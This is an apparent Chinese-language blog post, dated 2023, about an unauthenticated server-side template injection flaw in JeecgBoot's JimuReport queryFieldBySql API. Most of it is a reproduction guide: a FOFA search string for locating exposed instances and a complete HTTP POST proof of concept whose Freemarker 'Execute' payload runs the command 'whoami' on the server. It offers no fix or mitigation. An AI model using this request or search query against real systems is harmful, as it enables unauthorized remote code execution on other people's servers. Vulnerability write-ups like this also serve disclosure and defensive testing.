jeecg-boot/积木报表基于SSTI的任意代码执行漏洞

发布时间 2023-08-29 17:33:30作者: 学安全的小白

漏洞简介

JeecgBoot 受影响版本中由于积木报表 /jeecg-boot/jmreport/queryFieldBySql Api接口未进行身份校验,使用 Freemarker 处理用户用户传入的 sql 参数,未经授权的攻击者可发送包含恶意 sql 参数的 http 请求,通过 SSTI 在应用端执行任意代码。

漏洞复现

fofa语法:body="jeecg-boot"
登录页面如下:

POC:

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 105

{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"whoami \") }'" }